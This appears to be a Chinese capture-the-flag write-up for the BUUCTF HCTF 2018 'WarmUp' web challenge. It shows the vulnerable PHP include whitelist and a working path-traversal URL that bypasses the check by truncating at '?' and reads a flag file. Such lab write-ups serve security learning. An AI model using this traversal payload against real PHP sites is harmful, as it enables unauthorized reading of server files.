首页 > 其他分享 >[BUUCTF][Web][HCTF 2018]WarmUp 1

[BUUCTF][Web][HCTF 2018]WarmUp 1

时间:2022-12-07 18:47:04浏览次数:57  
标签:Web BUUCTF return .. mb HCTF file php page

这题已经标识为php 代码审计题,那么需要搞到源码才行
打开靶机对应的url,展示的是一张笑脸图片
右键查看网页源代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
这里显示存在一个叫 source.php的文件
尝试访问 source.php
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/source.php
居然得到了源码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

从源码可知,存在一个叫hint.php的文件,同时可以作为file的参数传入,构造url

http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=hint.php

得到以下回显,这里有重要信息

flag not here, and flag in ffffllllaaaagggg

这里有个题眼,flag在ffffllllaaaagggg文件中,现在就需要构造目录穿越的渗透方式,来或者这个文件的内容,这里可以推测肯定是在上几层的目录中,否则很难搞定

继续阅读源码 checkFile 函数,看有没有什么方式可以绕过

// 1.
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
//2.
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

问题就出现在这一段

1处, 首先将传入的参数以问号处截断,然后判断 ?以前的字符串是否在白名单中,如果在就通过。

那么可以构造一个这样的url试一下
http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81/?file=source.php?./ffffllllaaaagggg

如果没有通过检查,源码可知,一定会报you can't see it

这个url展示一片空白,那么说明这个套路没问题,继续向上加层级尝试

 最后得到这个url ok:
 http://2755d30c-1f20-4bf2-856a-c272044674b5.node4.buuoj.cn:81?file=source.php?../../../../../../../../../ffffllllaaaagggg
 

得到flag
flag{99e0c3c4-e30d-48ea-a8ea-f55603c0ec7f}

标签:Web,BUUCTF,return,..,mb,HCTF,file,php,page
From: https://www.cnblogs.com/gradyblog/p/16963913.html

相关文章

  • Vulnhub之Web Machine N7靶机测试过程
    WebMachineN7识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Web_machine_N7]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.62.0/16|ScreenVie......
  • 开源web自定义表单有哪几个特点?
    目前,市场正在蓬勃发展中,作为企业,采用传统表单的弊端也逐渐显现出来,面临比较大的问题就是办公效率得不到提升。在各行各业正积极筹备朝着数字化方向转型的背景下,采用开源web......
  • [BUUCTF][Web][极客大挑战 2019]EasySQL 1
    打开靶机对应的url界面显示需要输入账号和密码分别在两个输入框尝试加单引号尝试是否有sql注入的可能,比如123'发现两个框可以注入,因为报了个错误信息Youhaveaner......
  • 037-建立Web服务器
    建立服务端账号数据库列表1.运行SSMS,在数据库中新建数据库,取名DBAccount2.在DBAccount中新建表,选择相应路径,设计ID为主键,ID的标识规范设置为是,设计完表后保存命名为Ac......
  • 《小白WEB安全入门》01. 扫盲篇
    目录基础知识什么是WEB什么是前端什么是后端什么是数据库什么是协议什么是WEB安全什么是服务器什么是IP地址、端口什么是局域网、广域网、内网、外网什么是URL什么是MAC地......
  • 精美的web前端源码的特效
    1.JS自定义烟花特效这是一款基于JS和Canvas的自定义烟花特效,初始化界面的时候特效是不带声效的绽放,当你点击顶部中间的播放,即可以看到美丽的烟火也可以听到烟花绽放的声音......
  • fastapi websocket mongodb swagger-ui离线
    E:\song\agv_fastapi_socket_v3\app.pyimportjson#fastapifromfastapiimportFastAPI,WebSocket,Request,WebSocketDisconnectfromfastapi.responsesimportR......
  • web技术分享| 图片上传与图片裁剪结合 vue3
    需求:上传的图片限制长宽相同;只能上传图片;图片大小限制500k当前项目仅需要上传的图片信息项目组件使用裁剪:vue-cropperimport"vue-cropper/dist/index.c......
  • WebGL之Matrix4库
    1.Matrix4是由<<WebGL编程指南>>作者写的提供WebGL的4*4矩阵操作的方法库,简化我们编写的代码。源代码共享地址,点击链接:Matrix4源代码。参考:https://www.cnblogs.com/w-wa......
  • Webpack完整打包流程分析
    前言webpack在前端工程领域起到了中流砥柱的作用,理解它的内部实现机制会对你的工程建设提供很大的帮助(不论是定制功能还是优化打包)。下面我们基于webpack5源码结构,对......